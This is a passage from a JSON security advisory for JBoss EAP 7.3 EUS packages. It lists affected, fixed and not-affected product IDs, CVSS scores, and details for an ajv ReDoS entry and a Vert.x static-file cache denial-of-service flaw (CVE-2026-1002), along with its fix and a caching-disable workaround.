"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "ajv: ReDoS via $data reference"
},
{
"cve": "CVE-2026-1002",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-01-15T21:03:20.088599+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2430180"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Vert.x. The Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URIs, preventing legitimate users from accessing static files with an HTTP 404 response.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "io.vertx/vertx-core: static handler component cache can be manipulated to deny the access to static files",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability allows a remote attacker to block access to specific static files, such as images, CSS or HTML files. However, the underlying Vert.x server, the API endpoints and other non-cached resources are not affected. Due to this reason, this issue has been rated with a moderate severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-1002"
},
{
"category": "external",
"summary": "RHBZ#2430180",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430180"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-1002",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1002"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"category": "external",
"summary": "https://github.com/eclipse-vertx/vert.x/pull/5895",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
}
],
"release_date": "2026-01-15T20:50:25.642000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "To mitigate this vulnerability, consider disabling the static handler cache by configuring the StaticHandler instance with setCachingEnabled(false), for example:\n\n~~~\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);\n~~~",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
